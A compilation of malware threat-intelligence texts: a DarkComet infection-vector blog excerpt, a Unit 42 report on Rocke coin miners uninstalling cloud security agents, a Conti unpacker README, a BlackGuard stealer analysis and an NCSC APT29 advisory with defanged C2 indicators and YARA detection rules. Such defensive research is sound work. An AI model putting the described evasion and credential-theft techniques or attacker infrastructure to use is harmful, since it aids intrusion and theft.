- Drive-By Attacks
- Warez Downloads
- Social Networking Sites
Drive-By attacks mean that when visiting a web page, a malicious script embedded in the page will execute and usually exploit some kind of vulnerability on your system, dropping malware and executing it without you ever knowing. Drive-by attacks are usually used by cyber-criminals for the purpose of spreading malware. The use of drive-by attacks to spread DarkComet doesn’t seem to make a lot of sense since it is easily detected and removed. However, as noted on the DarkCoderSC website for DarkComet, purchasing a VIP account will provide the attacker with version updates of DarkComet before it is released to the public. Therefore the new version or variant hasn’t been seen and has a greater chance of getting past AV scanners, so it makes sense to try and infect as many systems as possible with it before it’s too late.
Warez Downloads, or the downloading of illegal/cracked software can sometimes lead to downloading something you wish you hadn’t, like DarkComet malware. Often used as a method by the less experienced hackers or “script-kiddies,” advertising a cracked piece of software and actually providing malware is common practice and since DarkComet is so easy to obtain, set up and run, it’s no wonder why it’s being spread this way. I can imagine that a majority of people who participate in such activities do not employ the use of AV scanners for numerous reasons and therefore are great targets for not only DarkComet but any malware!
Social networking sites are a great way to spread malware, send a link out to a group of people all at once and hope some of them click it. Maybe hack someone's account and post the link, disguised as another user. Either way, it’s a great way to spread malware and RAT malware especially.
Luckily, not all is lost. If you have Malwarebytes Anti-Malware Pro installed, a few things can happen to protect you:
- The web site you were sent to with the exploit would have never loaded thanks to Malwarebytes Web Protection Module.
- Malwarebytes Anti-Malware definitions scan for unique features at a deeper level than other AV vendors and are more likely to detect new variants of the same malware.
- Malwarebytes Anti-Malware's Active Protection module would have detected the malware being executed on your system and prevented it from going any further based upon its functionality.
- You can download Malwarebytes Anti-Malware and install it, even after being infected to detect and remove the threat.
On top of that, RAT infections can be the product of targeted attacks, though not always the case as mentioned above. They do make a lot of noise and more often than not antivirus/Anti-Malware software will detect and remove any infection. However, this is just one of many other types of RATs that are out there and while this one has the capability to do malicious things, it is a really good option for network administration.
Some of the other RATs we will discuss in this series are not so friendly; they are developed for the sole purpose of espionage and that is apparent in the infection methods used. As a general precaution, here is a list of standard security practices you can do to keep yourself safe:
- Always keep up to date definitions of your antivirus/Anti-Malware software
- Always update your operating system
- Never click on links in e-mails from people you do not know or trust
- Always keep the most up to date security patches for your browser and extension applications (Adobe products, Java, etc.)
- If possible, completely disable the Java functionality in your browser, this makes it impossible to be exploited through Java.
While these measures seem simple enough, they are the best protection for your system while not draining your ability to perform standard tasks or your wallet. |
# Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products
By Xingyu Jin and Claud Xiao
January 17, 2019
Palo Alto Networks Unit 42 recently captured and investigated new samples of the Linux coin mining malware used by the Rocke group. The family was suspected to be developed by the Iron cybercrime group and is also associated with the Xbash malware reported in September 2018. The threat actor Rocke was originally revealed by Talos in August 2018, and many remarkable behaviors were disclosed in their blog post. The samples described in this report were collected in October 2018, and since that time, the command and control servers they use have been shut down.
During our analysis, we realized that these samples used by the Rocke group adopted new code to uninstall five different cloud security protection and monitoring products from compromised Linux servers. These attacks did not compromise these security products; rather, the attacks first gained full administrative control over the hosts and then abused that control to uninstall these products in the same way a legitimate administrator would.
These products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. To the best of our knowledge, this is the first malware family that developed the unique capability to target and remove cloud security products. This also highlights a new challenge for products in the Cloud Workload Protection Platforms market defined by Gartner.
## Technical Details
### The Coin Miner used by Rocke Group
The threat actor Rocke was first reported by Cisco Talos in late July 2018. The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines.
To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell.
Once the C2 connection is established, malware used by the Rocke group downloads a shell script named “a7” to the victim machine. The behaviors of a7 include:
- Achieve persistence through cronjobs
- Kill other crypto mining processes
- Add iptables rules to block other crypto mining malware
- Uninstall agent-based cloud security products
- Download and run UPX packed coin miner
- Hide process from Linux ps command by using the open source tool “libprocesshider” with LD_PRELOAD trick
- Adjust malicious file date time
## Cloud Workload Protection Platforms
According to Gartner, Cloud Workload Protection Platforms (CWPPs) are agent-based workload-centric security protection solutions. To mitigate the impact of malware intrusion in public cloud infrastructure, cloud service providers develop their own CWPPs as server security operation and management products.
For example, Tencent Cloud offers Tencent Host Security (HS, aka YunJing云镜) with various security protection services. According to its “Product Overview” document, Tencent Host Security provides key security features like trojan detection and removal based on machine learning, password cracking alert, logging activity audit, vulnerability management, and asset management.
Alibaba Cloud (Aliyun) also offers a cloud security product called Threat Detection Service (TDS, aka Aegis 安骑士). Alibaba Cloud Threat Detection Service provides security services like malware scanning and removal, vulnerability management, log analysis, and threat analysis based on big data.
Third-party cybersecurity companies also provide CWPPs. For instance, Trend Micro, Symantec, and Microsoft have their own cloud security products for public cloud infrastructure. As with all security products, adversaries inevitably work to evade these systems to achieve their ultimate goals.
## Evading Detection from Cloud Workload Protection Platforms
In response to agent-based Cloud Workload Protection Platforms from cloud service providers, malware used by the Rocke group gradually developed the capability to evade detection before exhibiting any malicious behaviors. Specifically, the malware uninstalls cloud security products by Alibaba Cloud and Tencent Cloud.
In the early version of the malware used by Rocke, it only attempted to kill the Tencent Cloud Monitor process. Realizing that killing the cloud monitor service alone is not enough to evade detection by agent-based cloud security products, the malware authors continued developing more effective methods to evade detection by killing more agent-based cloud security services.
The malware used by the Rocke group follows the uninstallation procedure provided by Alibaba Cloud and Tencent Cloud as well as some random blog posts on the Internet.
This function can uninstall:
1. Alibaba Threat Detection Service agent.
2. Alibaba CloudMonitor agent (Monitor CPU & memory consumption, network connectivity).
3. Alibaba Cloud Assistant agent (tool for automatically managing instances).
4. Tencent Host Security agent.
5. Tencent Cloud Monitor agent.
After agent-based cloud security and monitor products are uninstalled, the malware used by the Rocke group begins to exhibit malicious behaviors. This unique evasion behavior will likely be a new trend for malware targeting public cloud infrastructure.
## Mitigations
Palo Alto Networks Unit 42 has been cooperating with Tencent Cloud and Alibaba Cloud to address the malware evasion problem and its C2 infrastructure. Additionally, the malicious C2 domains are identified by our PAN-DB URL Filtering.
## Conclusion
Public cloud infrastructure is one of the main targets for this cybercrime group. Realizing that existing cloud monitor and security products may detect possible malware intrusion, malware authors continue to create new evasion technologies to avoid detection by cloud security products. The variant of the malware used by the Rocke group demonstrates that agent-based cloud security solutions may not be enough to prevent evasive malware targeted at public cloud infrastructure.
## Indicators of Compromise
**Samples with the evasion behavior:**
- 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
- 2f603054dda69c2ac1e49c916ea4a4b1ae6961ec3c01d65f16929d445a564355
- 28ea5d2e44538cd7fec11a28cce7c86fe208b2e8f53d57bf8a18957adb90c5ab
- 232c771f38da79d5b8f7c6c57ddb4f7a8d6d44f8bca41be4407ed4923096c700
- 893bdc6b7d2d7134b1ceb5445dbb97ad9c731a427490d59f6858a835525d8417
- 9300f1aa56a73887d05672bfb9862bd786230142c949732c208e5e019d14f83a
- 27611b92d31289d023d962d3eb7c6abd194dbdbbe4e6977c42d94883553841e8
- d341e3a9133e534ca35d5ccc54b8a79f93ff0c917790e7d5f73fedaa480a6b93
- ed038e9ea922af9f0bf5e8be42b394650fa808982d5d555e6c50c715ff2cca0c
- 4b74c4d66387c70658238ac5ab392e2fe5557f98fe09eadda9259ada0d87c0f1
- e391963f496ba056e9a9f750cbd28ca7a08ac4cfc434bee4fc57a292b11941e6
- 017dee32e287f37a82cf6e249f8a85b5c9d4f090e5452118ccacaf147e88dc66
**Domains for C2 Communication:**
- dwn[.]rundll32[.]ml
- www[.]aybc[.]so
- a[.]ssvs[.]space
- sydwzl[.]cn
**IPs for C2 Communication:**
- 118.24.150[.]172 (on Tencent Cloud)
- 120.55.54[.]65 (on Alibaba Cloud)
**URLs for Code Update:**
- hxxps://pastebin[.]com/raw/CnPtQ2tM
- hxxps://pastebin[.]com/raw/rjPGgXQE
- hxxps://pastebin[.]com/raw/1NtRkBc3
- hxxps://pastebin[.]com/raw/tRxfvbYN
- hxxps://pastebin[.]com/raw/SSCy7mY7
- hxxps://pastebin[.]com/raw/VVt27LeH
- hxxps://pastebin[.]com/raw/Fj2YdETv
- hxxps://pastebin[.]com/raw/JNPewK6r
- hxxps://pastebin[.]com/raw/TzBeq3AM
- hxxps://pastebin[.]com/raw/eRkrSQfE
- hxxps://pastebin[.]com/raw/5bjpjvLP
- hxxps://pastebin[.]com/raw/Gw7mywhC
**XMR Wallet Address:**
42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7 |
# ContiUnpacker
An automatic unpacker for a Conti sample.
## Context
This was inspired by James Bennett's blog post on how to programmatically unpack malware. This unpacker unpacks a specific Conti ransomware I found on MalwareBazaar.
## Requirement
- Python 3
- Speakeasy
## How it works
The unpacker uses the Speakeasy Emulation Framework to run and unpack the sample. When I manually unpacked this, I noticed that the sample called `VirtualAlloc` to allocate memory, wrote the unpacked PE file to it, and called `VirtualProtect` on the .text region before executing it. From this, I halted the simulation at the first `VirtualProtect` call, dumped the PE file out, and mapped it accordingly to fix the IAT.
## Usage
Running with Command Prompt:
```bash
python ContiUnpacker.py -f conti.dll -o <output_file>
```
**Note:** Please don't actually run this malware I included unless you know what you're doing. I'm not responsible if you end up encrypting your machine!
Also, I noticed that the function calls are a bit different on the Speakeasy emulator compared to when running on x64dbg. During the `VirtualProtect` call, everything should technically be written into the allocated memory already, but that's not the case. Apparently, only parts of the .rdata section are written, so the dumped executable won't be able to run. I can't figure out why this is happening because Speakeasy is pretty weird, so this unpacker does not work 100%. However, I'll still keep it here in case anyone wants to refer to this when writing their own unpacker using Speakeasy! |
# Analysis of BlackGuard - A New Info Stealer Malware Being Sold In A Russian Hacking Forum
## Introduction
Hacking forums often double up as underground marketplaces where cybercriminals buy, rent, and sell all kinds of malicious illegal products, including software, trojans, stealers, exploits, and leaked credentials. Malware-as-a-service has contributed substantially to the growth of ransomware and phishing attacks in the past year, as they lower the technical barrier to entry for criminals to carry out attacks.
While recently perusing one of these hacking forums during regular research activities, the Zscaler ThreatLabz team came across BlackGuard, a sophisticated stealer, advertised for sale. BlackGuard is currently being sold as malware-as-a-service with a lifetime price of $700 and a monthly price of $200.
BlackGuard has the capability to steal all types of information related to crypto wallets, VPN, messengers, FTP credentials, saved browser credentials, and email clients. In this blog, we share analysis and screenshots of the techniques this stealer uses to steal information and evade detection using obfuscation, as well as techniques used for anti-debugging.
## Technical Analysis
BlackGuard is a .NET stealer packed with a crypto packer. Currently, it is in active development and has the following capabilities:
### Anti-Detection
Once executed, it checks and kills the processes related to antivirus and sandbox.
### String Obfuscation
The stealer contains a hardcoded array of bytes which is decoded in runtime to ASCII strings followed by base64 decoding. This allows it to bypass antivirus and string-based detection.
### Anti-CIS
BlackGuard checks for the infected device country by sending a request to “http://ipwhois.app/xml/” and exits itself if the device is located in the Commonwealth of Independent States (CIS).
### Anti-Debug
BlackGuard uses `user32!BlockInput()` which can block all mouse and keyboard events in order to disrupt attempts at debugging.
### Stealing Function
After all the checks are completed, the stealer function gets called which collects information from various browsers, software, and hardcoded directories.
### Browsers
BlackGuard steals credentials from Chrome- and Gecko-based browsers using the static path. It has the capability to steal history, passwords, autofill information, and downloads.
### Cryptocurrency Wallets
BlackGuard also supports the stealing of wallets and other sensitive files related to crypto wallet applications. It targets sensitive data in files such as `wallet.dat` that contain the address, the private key to access this address, and other data. The stealer checks for the default wallet file location in AppData and copies it to the working folder.
### Crypto Extensions
This stealer also targets crypto wallet extensions installed in Chrome and Edge with hardcoded extension IDs.
### C2 Exfiltration
After collecting the information, BlackGuard creates a .zip of all the files and sends it to the C2 server through a POST request along with the system information like Hardware ID and country.
## Targeted Applications
### Browsers
- Chrome
- Opera
- Firefox
- MapleStudio
- Iridium
- 7Star
- CentBrowser
- Chedot
- Vivaldi
- Kometa
- Elements Browser
- Epic Privacy Browser
- uCozMedia
- Coowon
- liebao
- QIP Surf
- Orbitum
- Comodo
- Amigo
- Torch
- 360Browser
- Maxthon3
- K-Melon
- Sputnik
- Nichrome
- CocCoc
- Uran
- Chromodo
- Edge
- BraveSoftware
### Crypto Wallets
- AtomicWallet
- BitcoinCore
- DashCore
- Electrum
- Ethereum
- Exodus
- LitecoinCore
- Monero
- Jaxx
- Zcash
- Solar
- Zap
- AtomicDEX
- Binance
- Frame
- TokenPocket
- Wassabi
### Crypto Wallet Extensions
- Binance
- coin98
- Phantom
- Mobox
- XinPay
- Math10
- Metamask
- BitApp
- Guildwallet
- iconx
- Sollet
- Slope Wallet
- Starcoin
- Swash
- Finnie
- KEPLR
- Crocobit
- OXYGEN
- Nifty
- Liquality
- Auvitas wallet
- Math wallet
- MTV wallet
- Rabet wallet
- Ronin wallet
- Yoroi wallet
- ZilPay wallet
- Exodus
- Terra Station
- Jaxx
### Email Clients
- Outlook
### Other Applications
- NordVPN
- OpenVPN
- ProtonVPN
- TotalCommander
- FileZilla
- WinSCP
- Steam
### Messengers
- Telegram
- Signal
- Tox
- Element
- Pidgin
- Discord
## Conclusion
While applications of BlackGuard are not as broad as other stealers, BlackGuard is a growing threat as it continues to be improved and is developing a strong reputation in the underground community.
To combat against BlackGuard and similar credential theft malware, we recommend that security teams inspect all traffic and use malware prevention tools that include both antivirus (for known threats) and sandboxing capabilities (for unknown threats). We also recommend training end users on the following:
1. Don’t use the same passwords for all the services and replace them on a regular cadence.
2. Use multi-factor authentication where applicable.
3. Avoid visiting unknown sites.
4. Avoid opening suspicious unknown files.
## IOCs
### Hashes
- 4d66b5a09f4e500e7df0794552829c925a5728ad0acd9e68ec020e138abe80ac
- c98e24c174130bba4836e08d24170866aa7128d62d3e2b25f3bc8562fdc74a66
- 7f2542ed2768a8bd5f6054eaf3c5f75cb4f77c0c8e887e58b613cb43d9dd9c13
- f2d25cb96d3411e4696f8f5401cb8f1af0d83bf3c6b69f511f1a694b1a86b74d
- bbc8ac47d3051fbab328d4a8a4c1c8819707ac045ab6ac94b1997dac59be2ece
- f47db48129530cf19f3c42f0c9f38ce1915f403469483661999dc2b19e12650b
- ead17dee70549740a4e649a647516c140d303f507e0c42ac4b6856e6a4ff9e14
- 1ee88a8f680ffd175943e465bf85e003e1ae7d90a0b677b785c7be8ded481392
- 71edf6e4460d3eaf5f385610004cfd68d1a08b753d3991c6a64ca61beb4c673a
- e08d69b8256bcea27032d1faf574f47d5412b6da6565dbe52c968ccecea1cd5d
### Domains
- win.mirtonewbacker.com
- umpulumpu.ru
- greenblguard.shop
- onetwostep.at
## Zscaler Coverage
We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox.
### Advanced Threat Protection
- Win32.PWS.Blackguard
### Advanced Cloud Sandbox
ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, research.zscaler.com. |
# Advisory: APT29 Targets COVID-19 Vaccine Development
**Version 1.0**
**16 July 2020**
**© Crown Copyright 2020**
## About this Document
This report details recent Tactics, Techniques and Procedures (TTPs) of the group commonly known as ‘APT29’, also known as ‘the Dukes’ or ‘Cozy Bear’. This report provides indicators of compromise as well as detection and mitigation advice.
## Disclaimer
This report draws on information derived from multiple sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks, and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.
## Introduction
The United Kingdom’s National Cyber Security Centre (NCSC) and Canada’s Communications Security Establishment (CSE) assess that APT29 (also known as ‘the Dukes’ or ‘Cozy Bear’) is a cyber espionage group, almost certainly part of the Russian intelligence services. The United States’ National Security Agency (NSA) agrees with this attribution and the details provided in this report. The United States’ Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (DHS CISA) endorses the technical detail and mitigation advice provided in this advisory.
The group uses a variety of tools and techniques to predominantly target governmental, diplomatic, think-tank, healthcare, and energy targets for intelligence gain. Throughout 2020, APT29 has targeted various organisations involved in COVID-19 vaccine development in Canada, the United States, and the United Kingdom, highly likely with the intention of stealing information and intellectual property relating to the development and testing of COVID-19 vaccines.
APT29 is using custom malware known as ‘WellMess’ and ‘WellMail’ to target a number of organisations globally. This includes those organisations involved with COVID-19 vaccine development. WellMess and WellMail have not previously been publicly associated with APT29.
## Details of Techniques
### Initial Infection Vectors
The group frequently uses publicly available exploits to conduct widespread scanning and exploitation against vulnerable systems, likely in an effort to obtain authentication credentials to allow further access. This broad targeting potentially gives the group access to a large number of systems globally, many of which are unlikely to be of immediate intelligence value. The group may maintain a store of stolen credentials in order to access these systems in the event that they become more relevant to their requirements in the future.
In recent attacks targeting COVID-19 vaccine research and development, the group conducted basic vulnerability scanning against specific external IP addresses owned by the organisations. The group then deployed public exploits against the vulnerable services identified. The group has been successful using recently published exploits to gain initial footholds. Examples include, but are not limited to:
- CVE-2019-19781 Citrix
- CVE-2019-11510 Pulse Secure
- CVE-2018-13379 FortiGate
- CVE-2019-9670 Zimbra
The group likely seeks to take full advantage of a variety of new exploits when publicised. The group also uses spear-phishing to obtain authentication credentials to internet-accessible login pages for target organisations.
### Persistent Access
Upon gaining access to a system, the group likely drops further tooling and/or seeks to obtain legitimate credentials to the compromised systems in order to maintain persistent access. The actor is likely to use anonymising services when using the stolen credentials.
### WellMess Malware
In some cases, APT29 also deploys custom malware known as WellMess or WellMail to conduct further operations on the victim’s system. WellMess is malware written in either Golang or .NET and has been in use since at least 2018. WellMess was first reported on by JPCERT and LAC researchers in July 2018. It is named after one of the function names in the malware - ‘wellmess’. WellMess is a lightweight malware designed to execute arbitrary shell commands, upload and download files. The malware supports HTTP, TLS, and DNS communications methods. Indicators of compromise (IOCs) for WellMess are available in the appendix.
### WellMail Malware
WellMail is a lightweight tool designed to run commands or scripts with the results being sent to a hardcoded Command and Control (C2) server. The NCSC has named this malware ‘WellMail’ due to file paths containing the word ‘mail’ and the use of server port 25 present in the sample analysed. Similar to WellMess, WellMail uses hard-coded client and certificate authority TLS certificates to communicate with C2 servers. The binary is an ELF utility written in Golang which receives a command or script to be run through the Linux shell. To our knowledge, WellMail has not been previously named in the public domain. IOCs for WellMail are available in the appendix.
### Certificate Usage
WellMess and WellMail samples contained TLS certificates with the hard-coded subjectKeyIdentifier (SKI) '0102030406', and used the subjects 'C=Tunis, O=IT' and 'O=GMO GlobalSign, Inc' respectively. These certificates can be used to identify further malware samples and infrastructure. Servers with this GlobalSign certificate subject may be used for other functions in addition to WellMail malware communications.
### SoreFang Malware
Malware, dubbed ‘SoreFang’ by the NCSC, is a first stage downloader that uses HTTP to exfiltrate victim information and download second stage malware. The sample analysed by the NCSC contains the same infrastructure as a WellMess sample (103.216.221[.]19). It is likely that SoreFang targets SangFor devices. Industry reporting indicates that other actors, reportedly including ‘DarkHotel’, have also targeted SangFor devices. Therefore, not all SangFor exploitation activity relates to targeting by APT29.
## Conclusion
APT29 is likely to continue to target organisations involved in COVID-19 vaccine research and development, as they seek to answer additional intelligence questions relating to the pandemic. It is strongly recommended that organisations use the rules and IOCs in the appendix in order to detect the activity detailed in this advisory.
## Appendix
### Indicators of Compromise and Detection Rules
#### WellMess IOCs
**Hashes**
- 00654dd07721e7551641f90cba832e98c0acb030e2848e5efc0e1752c067ec07
- 0322c4c2d511f73ab55bf3f43b1b0f152188d7146cc67ff497ad275d9dd1c20f
- 03e9adae529155961f1f18212ff70181bde0e3da3d7f22961a6e2b1c9da2dd2e
- 0b8e6a11adaa3df120ec15846bb966d674724b6b92eae34d63b665e0698e0193
- 14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2
- 1fed2e1b077af08e73fb5ecffd2e5169d5289a825dcaf2d8742bb8030e487641
- 21129ad17800b11cdb36906ba7f6105e3bd1cf44575f77df58ba91640ba0cab9
- 2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41
- 2daba469f50cd1b77481e605aeae0f28bf14cedfcd8e4369193e5e04c523bc38
- 49bfff6b91ee71bbf8fd94829391a36b844ffba104c145e01c92732ada52c8ba
- 4c8671411da91eb5967f408c2a6ff6baf25ff7c40c65ff45ee33b352a711bf9c
- 5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
- 797159c202ca41356bee18c5303d37e9d2a43ca43d0ce02e1fd9e7045b925d11
- 7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee
- 84b846a42d94431520d3d2d14262f3d3a5d96762e56b0ae471b853d1603ca403
- 8749c1495af4fd73ccfc84b32f56f5e78549d81feefb0c1d1c3475a74345f6a8
- 92a856a2216e107496ee086e1c8cfe14e15145e7a247539815fd37e5a18b84d9
- 93e9383ae8ad2371d457fc4c1035157d887a84bbfe66fbbb3769c5637de59c75
- 953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
- a03a71765b1b0ea7de4fbcb557dcfa995ff9068e92db9b2dada9dd0841203145
- a117b2a904c24df62581500176183fbc282a740e4f11976cdfc01fe664a02292
- a3ca47e1083b93ea90ace1ca30d9ef71163e8a95ee00500cbd3fd021da0c18af
- b75a5be703d9ba3721d046db80f62886e10009b455fa5cdfd73ce78f9f53ec5a
- bec1981e422c1e01c14511d384a33c9bcc66456c1274bbbac073da825a3f537d
- c1a0b73bad4ca30a5c18db56c1cba4f5db75f3d53daf62ddc598aae2933345f3
- d7e7182f498440945fc8351f0e82ad2d5844530ebdba39051d2205b730400381
- dd3da0c596fd699900cdd103f097fe6614ac69787edfa6fa84a8f471ecb836bb
- e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09
- e3d6057b4c2a7d8fa7250f0781ea6dab4a977551c13fe2f0a86f3519b2aaee7a
- f3af394d9c3f68dff50b467340ca59a11a14a3d56361e6cffd1cf2312a7028ad
- f622d031207d22c633ccec187a24c50980243cb4717d21fad6588dacbf9c29e9
- fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950
**IP Addresses**
- 103.103.128[.]221
- 103.13.240[.]46
- 103.205.8[.]72
- 103.216.221[.]19
- 103.253.41[.]102
- 103.253.41[.]68
- 103.253.41[.]82
- 103.253.41[.]90
- 103.73.188[.]101
- 111.90.146[.]143
- 111.90.150[.]176
- 119.160.234[.]163
- 119.160.234[.]194
- 119.81.173[.]130
- 119.81.178[.]105
- 120.53.12[.]132
- 122.114.197[.]185
- 122.114.226[.]172
- 141.255.164[.]29
- 141.98.212[.]55
- 145.249.107[.]73
- 146.0.76[.]37
- 149.202.12[.]210
- 169.239.128[.]110
- 176.119.29[.]37
- 178.211.39[.]6
- 185.120.77[.]166
- 185.145.128[.]35
- 185.99.133[.]112
- 191.101.180[.]78
- 192.48.88[.]107
- 193.182.144[.]105
- 202.59.9[.]59
- 209.58.186[.]196
- 209.58.186[.]197
- 209.58.186[.]240
- 220.158.216[.]130
- 27.102.130[.]115
- 31.170.107[.]186
- 31.7.63[.]141
- 45.120.156[.]69
- 45.123.190[.]167
- 45.123.190[.]168
- 45.152.84[.]57
- 46.19.143[.]69
- 5.199.174[.]164
- 66.70.247[.]215
- 79.141.168[.]109
- 81.17.17[.]213
- 85.93.2[.]116
### Yara Rules
**Rule: wellmess_dotnet_unique_strings**
```yara
meta:
description = "Rule to detect WellMess .NET samples based on unique strings and function/variable names"
author = "NCSC"
hash = "2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41"
strings:
$s1 = "MaxPostSize" wide
$s2 = "HealthInterval" wide
$s3 = "Hello from Proxy" wide
$s4 = "Start bot:" wide
$s5 = "Choise" ascii wide
$s7 = "FromNormalToBase64" ascii
$s8 = "FromBase64ToNormal" ascii
$s9 = "ConvBytesToWords" ascii
$s10 = "WellMess" ascii
$s11 = "chunksM" ascii
condition:
uint16(0) == 0x5a4d and uint16(uint16(0x3c)) == 0x4550 and 3 of them
```
**Rule: wellmess_botlib_function_names**
```yara
meta:
description = "Rule to detect WellMess Golang samples based on the function names used by the actor"
author = "NCSC"
hash = "8749c1495af4fd73ccfc84b32f56f5e78549d81feefb0c1d1c3475a74345f6a8"
strings:
$s1 = "botlib.wellMess" ascii wide
$s2 = "botlib.saveFile" ascii wide
$s3 = "botlib.reply" ascii wide
$s4 = "botlib.init" ascii wide
$s5 = "botlib.generateRandomString" ascii wide
$s6 = "botlib.encrypt" ascii wide
$s7 = "botlib.deleteFile" ascii wide
$s8 = "botlib.convertFromString" ascii wide
$s9 = "botlib.chunksM" ascii wide
$s10 = "botlib.Work" ascii wide
$s11 = "botlib.UnpackB" ascii wide
$s12 = "botlib.Unpack" ascii wide
$s13 = "botlib.UDFile" ascii wide
$s14 = "botlib.Split" ascii wide
$s15 = "botlib.Service" ascii wide
$s16 = "botlib.SendMessage" ascii wide
$s17 = "botlib.Send.func1" ascii wide
$s18 = "botlib.Send" ascii wide
$s19 = "botlib.ReceiveMessage" ascii wide
$s20 = "botlib.RandStringBytes" ascii wide
$s21 = "botlib.RandInt" ascii wide
$s22 = "botlib.Post" ascii wide
$s23 = "botlib.Parse" ascii wide
$s24 = "botlib.Pad" ascii wide
$s25 = "botlib.Pack" ascii wide
$s26 = "botlib.New" ascii wide
$s27 = "botlib.KeySizeError.Error" ascii wide
$s28 = "botlib.Key" ascii wide
$s29 = "botlib.Join" ascii wide
$s30 = "botlib.GetRandomBytes" ascii wide
$s31 = "botlib.GenerateSymmKey" ascii wide
$s32 = "botlib.FromNormalToBase64" ascii wide
$s33 = "botlib.EncryptText" ascii wide
$s34 = "botlib.Download" ascii wide
$s35 = "botlib.Decipher" ascii wide
$s36 = "botlib.Command" ascii wide
$s37 = "botlib.Cipher" ascii wide
$s38 = "botlib.CalculateMD5Hash" ascii wide
$s39 = "botlib.Base64ToNormal" ascii wide
$s40 = "botlib.AES_Encrypt" ascii wide
$s41 = "botlib.AES_Decrypt" ascii wide
$s42 = "botlib.(*rc6cipher).Encrypt" ascii wide
$s43 = "botlib.(*rc6cipher).Decrypt" ascii wide
$s44 = "botlib.(*rc6cipher).BlockSize" ascii wide
$s45 = "botlib.(*KeySizeError).Error" ascii wide
$s46 = "botlib.DownloadDNS" ascii wide
$s47 = "botlib.JoinDnsChunks" ascii wide
$s48 = "botlib.SendDNS" ascii wide
$s49 = "botlib.CreateDNSName" ascii wide
condition:
((uint16(0) == 0x5a4d and uint16(uint16(0x3c)) == 0x4550) or uint32(0) == 0x464c457f) and any of them
```
**Rule: wellmess_certificate_base64_snippets**
```yara
meta:
description = "Rule for detection of WellMess based on base64 snippets of certificates used"
author = "NCSC"
hash = "8749c1495af4fd73ccfc84b32f56f5e78549d81feefb0c1d1c3475a74345f6a8"
strings:
$a1 = "BgNVHQ4EBwQFAQIDBA"
$a2 = "YDVR0OBAcEBQECAwQG"
$a3 = "GA1UdDgQHBAUBAgMEB"
$b1 = "BgNVBAYTBVR1bmlzMQswCQYDVQQKEwJJVD"
$b2 = "YDVQQGEwVUdW5pczELMAkGA1UEChMCSVQx"
$b3 = "GA1UEBhMFVHVuaXMxCzAJBgNVBAoTAklUM"
condition:
((uint16(0) == 0x5a4d and uint16(uint16(0x3c)) == 0x4550) or uint32(0) == 0x464c457f) and any of ($a*) and any of ($b*)
```
**Rule: wellmess_regex_used_for_parsing_beacons**
```yara
meta:
description = "Detects WellMess Golang and .NET samples based on the regex they used to parse commands and beacon information"
author = "NCSC"
hash = "8749c1495af4fd73ccfc84b32f56f5e78549d81feefb0c1d1c3475a74345f6a8"
strings:
$a = "fileName:(?<fn>.*?)\\sargs:(?<arg>.*)\\snotwait:(?<nw>.*)" ascii wide
$b = "<;(?<key>[^;]*?);>(?<value>[^<]*?)<;[^;]*?;>" ascii wide
condition:
((uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550) or uint32(0) == 0x464c457f) and any of them
```
#### WellMail IOCs
**Hashes**
- 83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18 (UPX)
- 0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494 (Unpacked)
**IP Addresses (Malware)**
- 103.216.221[.]19
**IP Addresses (‘GlobalSign’ certificate, operated by APT29 but not necessarily used for WellMail malware communications)**
- 119.81.184[.]11
- 185.225.226[.]16
- 188.241.68[.]137
- 45.129.229[.]48
### Yara Rules
**Rule: wellmail_unique_strings**
```yara
meta:
description = "Rule for detection of WellMail based on unique strings contained in the binary"
author = "NCSC"
hash = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
strings:
$a = "C:\\Server\\Mail\\App_Data\\Temp\\agent.sh\\src"
$b = "C:/Server/Mail/App_Data/Temp/agent.sh/src/main.go"
$c = "HgQdbx4qRNv"
$d = "042a51567eea19d5aca71050b4535d33d2ed43ba"
$e = "main.zipit"
$f = "@[^\\s]+?\\s(?P<tar>.*?)\\s"
condition:
uint32(0) == 0x464C457F and 3 of them
```
**Rule: wellmail_certificate_base64_snippets**
```yara
meta:
description = "Rule for detection of WellMail based on base64 snippets of certificates used"
author = "NCSC"
hash = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
strings:
$a1 = "BgNVHQ4EBwQFAQIDBA"
$a2 = "YDVR0OBAcEBQECAwQG"
$a3 = "GA1UdDgQHBAUBAgMEB"
$b1 = "BgNVBAYTBVR1bmlzMQswCQYDVQQKEwJJVD"
